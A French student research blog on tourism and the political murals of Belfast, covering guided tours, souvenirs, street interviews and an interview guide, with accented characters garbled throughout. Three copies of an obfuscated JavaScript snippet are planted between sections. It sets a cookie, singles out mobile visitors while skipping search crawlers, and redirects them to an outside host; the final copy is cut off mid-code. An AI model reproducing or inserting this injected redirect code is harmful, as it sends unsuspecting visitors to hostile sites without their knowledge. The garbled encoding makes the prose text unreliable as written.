Archives de catégorie : non classées

MA�thodologie

Les circuits touristiques

a�? Les circuits dans notre travail
Dans le cadre de notre travail, les circuits touristiques nous ont servi donnA�es essentielles. Puisque ces tours font partis des attractions les plus populaires A� Belfast, nous avons pu dA�finir un A�chantillon de murals recommandA� et prA�sentA� par les guides des agences touristiques. Il A�tait donc important, pour nous, de participer A� ces tours en tant que touristes car selon notre opinion, le fait da��amener des individus A� tel ou tel endroit, puis de leur indiquer tel ou tel mural, participe A� la crA�ation ainsi qua��A� la��entretien du cercle de reprA�sentations auquel nous nous intA�ressons.

a�? Double Decker Tour
Pour le premier circuit, nous avons fait un tour de la ville dans la��un des cA�lA?bres bus rouges A� deux A�tages de Hop On Hop Off. Ces bus effectuent un circuit A� travers les diffA�rents quartiers de la ville au cours duquel des explications sont donnA�es par une guide. La��option de descendre du bus A� diffA�rentes arrA?ts autour des principales attractions est proposA�e aux touristes, toutefois pour des questions da��organisation, nous ne la��avons pas fait. Lors du tour, dA?s que le bus ralentissait ou sa��arrA?tait pour qua��on puisse admirer un mural, nous en prenions compte. Ca��est donc principalement dans les quartiers de Shankill et Falls que notre intA�rA?t sa��est mobilisA�.

Liste des fresques observA�es lors du circuit A� bord du Hop On Hop Off.
Liste des fresques observA�es lors du circuit A� bord du Hop On Hop Off.

a�? Black Cab Tour
Le deuxiA?me type de circuit sa��est effectuA� en Black Cab. Ce sont les taxis noirs emblA�matiques de la Grande-Bretagne dont les chauffeurs, qui font aussi office de guide, ont A�tA� impliquA� dans le conflit. Les Black Cabs sa��inscrivent dans une continuitA� historique. En effet, ca��A�tait la��une des seules maniA?res de se rendre dans le quartier de Falls durant le conflit, aprA?s que les lignes de transports publiques aient A�tA� abandonnA�es.
Aujourda��hui, ce sont da��anciens prisonniers politiques rA�publicains qui, A� bord de ces taxis, prA�sentent le conflit en menant les touristes A� travers les quartiers de Falls et parfois de Shankill. En montrant les vestiges du conflit, principalement les murals, les Black Cabs sont une attraction privilA�giA�e pour tout touriste intA�ressA� par les Troubles. Ca��est pour cela qua��il nous a paru important de prendre en compte ce circuit.
Nous avons ainsi pu observer les pratiques touristiques principales autour des murals ; telle que les prendre en photo, y apposer sa signature, ou simplement les contempler. Nous avons divisA� notre groupe en deux afin da��avoir davantage de donnA�es car nous prA�supposions que les conducteurs de taxis na��effectuaient pas tous les mA?mes itinA�raires.

Liste des fresques observA�es lors des tours en Black Cab respectifs.
Liste des fresques observA�es lors des tours en Black Cab respectifs.

 

a�? Tour pA�destre dans East Belfast
MA?me si le trajet jusqua��A�A� East Belfast ne faisait pas partie des parcours touristiques officiels, le conducteur de bus, en nous y amenant, a attirA� notre attention sur quelques murals le long du trajet.
Nous avons donc visitA� East Belfast avec des guides loyalistes. La premiA?re partie de la visite sa��est dA�roulA�e dans un petit musA�e. Nous avons rapidement rA�alisA� que cette attraction A�tait moins organisA�e et professionnelle que les autres, mais elle na��en na��A�tait pas moins intA�ressante.
La deuxiA?me partie se prA�sentait sous la forme da��un tour pA�destre A� travers le quartier de East Belfast. Nous nous sommes promenA�s en suivant notre guide qui nous montrait diffA�rents endroits importants pour la cause loyaliste, en mettant la��accent sur les multiples murals qui se situent dans le quartier. Tout comme les guides des Black Cab Tours, nos nouveaux guides A�taient A�galement da��anciens volontaires, mais cette fois pour les organisations loyalistes. Ainsi donc, le tour A� travers East Belfast A�tait fortement biaisA� en faveur du cA?tA� protestant, tout comme les tours en Black Cabs A�taient biaisA�s en faveur du cA?tA� catholique.

Liste des fresques observA�es lors du tour dans East Belfast.
Liste des fresques observA�es lors du tour dans East Belfast.

 

a�? Observations gA�nA�rales
Nous constatons qua��une redondance de certains murals se prA�sente dans les donnA�es rA�coltA�es lors des diffA�rents circuits touristiques. En effet, le tour du Double Decker Bus et les parcours des Black Cab Tours ont insistA� sur les fresques de Bobby Sands et The Peace Wall, en indiquant le mural, voir mA?me en sa��arrA?tant sur place pour nous laisser le temps de bien le contempler.
Quant au tour pA�destre de East Belfast qui passe exclusivement dans ce quartier de la ville, le guide na��a fait aucune rA�fA�rence aux deux fresques en question.
Les diffA�rents guides na��hA�sitaient pas non plus A� nous encourager A� prendre des photos des deux murals ou, comme dans le cas du Peace Wall, signer nos noms sur a�?the biggest guestbook in Belfasta�? selon notre guide. Ca��est une pratique assez populaire et cela semble A?tre trA?s encouragA� par les agents touristiques.
Lors des multiples tours dans les diffA�rents quartiers de West Belfast, nous avons remarquA� da��autres groupes de touristes qui suivaient des guides. Beaucoup da��entre eux s’arrA?taient devant les murals et prenaient des photos. Nous avons observA� ce phA�nomA?ne A� plusieurs reprises, surtout devant le mural de Bobby Sands, le PeaceWall, le International Peace Wall ainsi que da��autres fresques comme le King of Orange ou celle de Stevie A� Top Gun A� McKeag.

Documentations touristiques et souvenirs

a�? Implication dans notre travail
Au fil de notre sA�jour aI� Belfast, nous avons rA�coltA� divers documents concernant la��offre touristique. Office du tourisme, boutiques, musA�es ; A� chaque opportunitA� donnA�e, nous avons collectionnA� des documents destinA�s aux touristes ayant trait aux muralsA� : brochures publicitaires, plans pour touristes, cartes postales, etc.
Notre but, A� travers la rA�colte de souvenirs et documents touristiques A�tait de nous faire une idA�e de la��image-type des murals envoyA�e aux touristes. En effet, les flyers et brochures cherchent aI� attirer la��A�il des visiteurs, et de leur vendre quelque chose : une attraction, un circuit, etc. Ces divers A�lA�ments marketing sont donc un outil pertinent pour dA�terminer la maniA?re dont les murals sont vendus aux touristes. Ce qui y est prA�sentA� est le A�pittoresqueA� : ce que les touristes doivent impA�rativement avoir vu et photographiA�.

A� Le touriste identifie un lieu […] comme pittoresque parce qua��il la��a dA�jA� vu et qua��il peut le comparer A� ce qua��il connaA�t dA�jA�, soit par son expA�rience, soit grA?ce aux images qui en existent A�1

On comprend donc que les divers documents liA�s au tourisme jouent un rA?le clef dans la��entretien da��un cercle da��image, puisqua��ils informent des fresques A� voir. Ainsi le visiteur, une fois sur place, se rendra compte de a�?la��importancea�? du mural devant lequel il se trouve. De part ce dA�jA�-vu, la��A�lA�ment reprA�sentA�, dans notre cas, un mural, lui apparaA�tra comme A�tant pittoresque2, ca��est aI� dire a�?digne da��A?tre vua�? et da��A?tre photographiA�.
La rA�colte des documents nous semblait, en amont des recherches, A?tre un travail titanesque. Mais nous avons trA?s vite A�tA� forcA� de constater que peu de magasins ne vendent des souvenirs et des cartes postales en lien avec les murals. Il en va de mA?me pour les tour-opA�rateurs : seule une poignA�e da��entre eux promeut les murals dans la publicitA� pour leur circuit.

PrA�sentation des types de documents

Les documents que nous avons rA�coltA� se dA�clinent en trois catA�gories:
a�? Flyers, brochures et plans
a�? Cartes Postales
a�? Souvenirs

Dans les trois cas, nous nous sommes concentrA�s sur les documents reprA�sentant des fresques ou des parties de fresques.
Nous avons rA�coltA� au total une vingtaine de brochures rA�pondant A� ces critA?res, ainsi que quelques cartes trouvA�es principalement dans les offices touristiques du centre-ville, les prA�sentoirs de notre auberge, mais aussi au Centre gaA�lique CultA?rlann McAdam OI? Fiaich.
Au niveau des plans distribuA�s gratuitement aux touristes, nous na��en avons trouvA�s aucun qui ne soit pas inondA� de publicitA�. Bien que le cadrage diffA?re lA�gA?rement de la��un A� la��autre, il reste toujours focalisA� sur le centre-ville, avec le quartier du Titanic mis en A�vidence. Les murals ne sont jamais prA�cisA�ment indiquA�s sur les cartes, bien que leurs directions approximatives soit parfois mentionnA�es. Selon le cadrage du plan, les quartiers de Shankill et Falls na��apparaissent mA?me pas. Quant A� East Belfast, il na��est reprA�sentA� qua��une seule fois sur la��ensemble de notre A�chantillon cartographique.
Au fil de nos journA�es A� Belfast, nous avons donc traquA� puis achetA� les cartes postales comportant des photographies de murals. Nous avons toutefois A�tA� forcA� de constater que le choix A�tait restreint. En une semaine, il nous a A�tA� possible de rA�colter six cartes da��intA�rA?t plus ou moins important pour notre recherche dans des lieux divers. Si nous avons trouvA� la premiA?re dans un supermarchA� alimentaire et deux autres dans un bureau de poste, les trois restantes ont A�tA� achetA�es dans deux magasins de souvenirs diffA�rents.

 

Ca��est dans la��optique da��objets tA�moins da��une visite, que nous avons dA�cidA� de nous pencher sur les souvenirs vendus aux touristes visitant la capitale Nord-Irlandaise. Tout comme les cartes postales, nous avons eu beaucoup de peine A� en trouver. Les premiers souvenirs, petites figurines en plA?tre, sur lesquelles figuraient des photographies de murals ont A�tA� trouvA�s dans une petite boutique indA�pendante. Le reste des quelques objets observA�s a A�tA� trouvA� dans le magasin da��une grande chaA�ne de souvenirs irlandais. Ca��est A�galement dans cette boutique que certaines des cartes postales prA�cA�demment prA�sentA�es ont A�tA� trouvA�es.

a�? Observations gA�nA�rales
Da��une maniA?re gA�nA�rale, nous avons A�tA� A�tonnA� de la difficultA� A� trouver des documents traitant des murals destinA�s aux touristes. Si nous avons eu moins de peine A� trouver des brochures vendant des circuits touristiques autour des Troubles, les souvenirs, eux, semblent A?tre quasi-inexistants.
Sur les cartes postales et les souvenirs, tout comme sur les diffeI?rentes brochures et plans, la��accent est mis sur le Titanic ou sur la sA�rie tA�lA�visA�e Games of Thrones.
Lorsque des fresques sont reprA�sentA�es, on constate frA�quemment celle de Bobby Sands ou encore le International Peace Wall. Souvent, notamment sur les souvenirs et les cartes postales, les murals reprA�sentA�s na��existent plus, ou ont A�tA� repeints.

Micro-Trottoirs

a�? RA?le dans notre recherche
Afin de nuancer nos donnA�es se basant principalement sur l’observation de la��offre touristique, nous avons souhaitA� nous confronter A� la vision touristique des locaux sur les murals, vestiges visibles du conflit. Au centre de notre interrogation se trouvait la question : les locaux nous suggA?rent-ils de voir les mA?mes fresques que celles misent en avant par les divers agents touristiques ?
Nous estimons que de tels conseils participent A� la��entretien du cercle da��image.

a�? PrA�sentation de la mA�thode
Nous faisant passer pour des touristes, nous avons demandA� A� des passants quelles A�taient les fresques a�?A� voira�? dans les environs. Pour rester cohA�rent avec la situation, nous avons questionnA� les locaux principalement dans les quartiers les plus susceptibles da��A?tre visitA�s par des touristes intA�ressA�s A� voir des murals, ca��est-A�-dire Falls et Shankill, ainsi qua��au centre ville.
Si ce dernier endroit nous a intA�ressA�s, ca��est de par son aspect a�?neutrea�? face au conflit mais aussi par le fait que la��on na��y trouve aucun mural partisan. Au vu de cette absence, nous A�tions intriguA�s par les rA�ponses que nous obtiendrions lors de nos entretiens spontanA�s ; ca��est-aI�-dire vers quels quartiers et quelles fresques on nous enverrait.
Nous sommes donc allA�s questionner les passants des quartiers de Falls et Shankill, la��un A�tant majoritairement unioniste et la��autre loyaliste.

a�? Retour rA�flexif sur la mA�thode
Si dans un premier temps, cette approche nonchalante et informelle des habitants de Belfast nous a semblA� une bonne idA�e, notamment par le fait de se faire passer pour des visiteurs et ainsi, da��A�viter da��A�ventuels biais qua��aurait instaurA�e la mention da��une recherche dans le cadre acadA�mique, nous avons rapidement A�tA� rattrapA�s par des questionnements da��ordre A�thique.
Nous rassurant derriA?re des semis-vA�ritA�s, nous nous prA�sentions aux locaux comme A�tant en visite quelques jours dans la rA�gion et voulant voir des murals. En soit, ceci na��A�tait pas faux. Nous avons toutefois A�tA� piA�gA� par quelqua��un voulant engager une conversation et demandant ce que nous avions dA�jA� vu depuis notre arrivA�e. Si notre interlocutrice ne la��a probablement pas ressenti, un malaise sa��est installA� entre nous trois, ne sachant pas comment rA�pondre A� cette dame que chaque jour depuis notre arrivA�e en Irlande-du-Nord avait A�tA� consacrA� aux fresques mA?me que celle-ci venait de nous indiquer.
Un autre conflit moral sa��est installA� en nous aprA?s avoir demandA� A� des passants de nous conseiller des fresques, nous ne nous dirigions pas dans la direction indiquA�e. Ce qui nous importait dans le fond, A�tait la rA�ponse donnA�e par les locaux, et non les fresques en elles-mA?mes.
Autre point discutable : A� aucun moment nous na��avons mentionnA� A� nos interlocuteurs que les donnA�es rA�coltA�es serviraient A� la��A�laboration da��un travail acadA�mique qui apparaA�trait en ligne. Bien que la��identification des personnes soit impossible et que nous-mA?me ignorons leur identitA�, cela soulA?ve des questions A�thiques et morales.

a�? RA�sultats
Dans la��ensemble, ce petit A�chantillon peu structurA� da��entretiens ne nous permet pas da��avancer de rA�sultats prA�cis. Toutefois, il est utile pour complA�ter ou nuancer les donnA�es acquises par divers canaux. De plus, il nous a permis une meilleure connaissance du terrain. Voici toutefois les grandes lignes aI� tirer de nos micro-trottoirs :

PremiA?rement, les rA�ponses donnA�es par les locaux nous ont semblA�es dans une premier temps trA?s mA�caniques. Ca��est souvent aprA?s de brA?ves rA�flexions que des A�lA�ments moins automatiques nous ont A�tA� donnA�s.
En effet, si quelqua��un vous aborde dans votre ville et vous demande quelles sont les attractions principales A� ne pas louper, vous rA�pondrez instinctivement les haut-lieux touristiques, avant de donner des conseils plus personnalisA�s et prA�cis.

Ensuite, les trois quartiers de micro-trottoires ne donnent pas les mA?mes rA�sultats. Au centre ville, la plupart des personnes interrogA�es na��ont trA?s souvent pas su nous rA�pondre, nous encourageant a faire un tour en Black Cab. Da��autres nous conseillaient la��International Peace Wall. La diffA�rence majeure entre nos interlocuteurs A� Falls et A� Shankill est que dans la partie rA�publicaine, on nous envoyait trA�s souvent vers le mural de Bobby Sands et la��International Peace Wall. Alors que dans la partie loyaliste, les rA�ponses A�taient plus diverses. Certains nous envoyaient vers les murals les plus proches, da��autres nous mentionnaient la��International Peace Wall ou/et le mural de Bobby Sands, da��autres encore nous conseillaient de nous enfoncer dans de petites ruelles.

Dans les trois quartiers, nous avons trA?s souvent A�tA� envoyA� au International Peace Wall. Celui-ci faisait parti des rA�ponses automatiques : sans hA�sitation, les locaux nous la��ont le plus conseillA�.

De maniA?re gA�nA�rale, nous avons observA�s une certaine rA�ticence A� aborder le sujet, tant dans les quartiers de Shankill et de Falls que au centre ville.
Nous na��avons malheureusement pas eu le temps de mener plus da��entretiens durant notre sA�jour. Toutefois, entre les deux sA�ries de micro-trottoirs que nous avons effectuA�es, on constate une diffA�rence notoire: la mA�tA�o. En effet, nous observons de grandes diffA�rences entre les entretiens du premier jour, pluvieux, et du second jour, ensoleillA�. Celles-ci se manifestent notamment par la durA�e des A�changes ainsi que la disposition de nos interlocuteurs aI� nous parler.

Observations complA?tes

Afin d’avoir une vue d’ensemble de nos observations, cliquez sur le tableau des rA�sultats des observations. Celui-ci recense l’ensemble de nos observations. Y est reprA�sentA� le nombre de fois ainsi que le contexte dans lequel une fresque prA�cises nous A� A�tA� indiquA�e.


1- Gauthier, L., Staszak, J.-F., ClichA� exotiques, Paris, Editions de Monza, 2015, p.59
2- Ibidem



a�? PROBLA�MATISATION

a�? MA�THODOLOGIE

a�? PARTIE THA�MATIQUE
a�? CONCLUSION
A�

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Analyse des donnA�es rA�coltA�es sur le terrain – SolidaritA� internationale

Analyse des donnA�es rA�coltA�es sur le terrain

Notre analyse se basera sur une A�tude comparative des donnA�es rA�coltA�es lors de notre sA�jour. Elle reposera sur 3 A�lA�ments que nous avons observA�s A� la fois chez les loyalistes et les rA�publicainsA�:

  • Murals de soutien A� da��autres conflits
  • PrA�sence visuelle de soutien dans la��espace public (rA�sidentiel)
  • PrA�sence visuelle de soutien dans la��espace public (magasins, ainsi que leurs inventaires et la��origine des produits faisant rA�fA�rence A� da��autres causes).

Enfin, une cartographie de ces A�lA�ments viendra apporter une reprA�sentation visuelle de la rA�partition de ces divers symboles A� travers la ville de Belfast. Nous espA�rons avec cette analyse pouvoir rA�ussir A� dA�terminer quelles sont les potentielles diffA�rences entre les deux parties, et proposer des hypothA?ses cherchant A� expliquer ces A�ventuelles diffA�rences dans la��espace urbain. Notre analyse sera appuyA�e par diverses photos ainsi que par des prA�cisions quant A� la gA�olocalisation des divers A�lA�ments.

Afin d’assurer une vision claire des A�lA�ments d’analyse, nous les rA�partirons dans les deux classes suivantes : Loyalistes et rA�publicains.

ElA�ments loyalistes
ElA�ments rA�publicains

Il est A�galement intA�ressant de noter que, lors de nos observations dans des quartiers mixtes du centre-ville, il y a une absence totale de symbole autant da��un cA?tA� que de la��autre.

Cartographie

Pour voir la carte en pleine A�cran, cliquer ici.

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Annexe

Questionnaire & Guide d’entretien

 

Questions pour les passants:

    1. AStes-vous du quartier ou de passage? Are you from the neighborhood or are you just passing by?
    2. Que pensez-vous de ce mural? What do you think about this mural?
    3. Est-ce que vous A?tes au courant des raisons pour lesquelles cette fresque A� A�tA� peinte? Do you know the reason of its painting?
    4. Pensez-vous que la rA�alisation de ce mural A�tait une bonne idA�e? Do you think the realisation of this painting was a good idea?
    5. Vous souvenez-vous de ce qui y figurait avant les super-hA�ros? Que pensez-vous du changement? Do you remember what was here before the superheroes? What do you think of the change?
    6. Pensez-vous que la peinture de ce mural a renforcA� la cohA�sion du quartier? Do you think that the painting of this mural reinforced social cohesion in the quarter?

Guide da��entretien pour la��interview de Steven Corr:

  1. Avez-vous une idA�e de la raison pour laquelle le mur des super-hA�ros a A�tA� peint? Do you have an idea of why the superhero wall was painted?
  2. Pourquoi pensez-vous que cet emplacement a A�tA� choisi? Why do you think this spot was chosen?
  3. Savez-vous comment ont rA�agi les gens aprA?s la crA�ation de ce mural? Do you know how the people reacted after the creation of this mural?
  4. Pensez-vous que le mural a le mA?me effet aujourda��hui sur la communautA� de Sliabh Dubh que lors de son inauguration? Do you think that the mural still has the same effect on Sliabh Dubha��s population as when it was inaugurated?
  5. A votre connaissance, y a-t-il da��autres projets de ce genre en cours? Do you know if there are other projects of the same type in course?
  6. A quel point sa��est impliquA� la mairie dans le projet de crA�ation de ce mural? How was the City Hall involved in the creation of this mural?
  7. Y a-t-il une dimension touristique au mural des super-hA�ros? Est-ce un de ses buts? Is there a touristic dimension to the superheroes wall? Is that one of its purposes?
  8. Avez-vous une idA�e de comment gA�rer les images du conflit sans raviver la haine qui y est liA�e? Do you have an idea of how to handle conflict-related images without reviving the hatred?

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 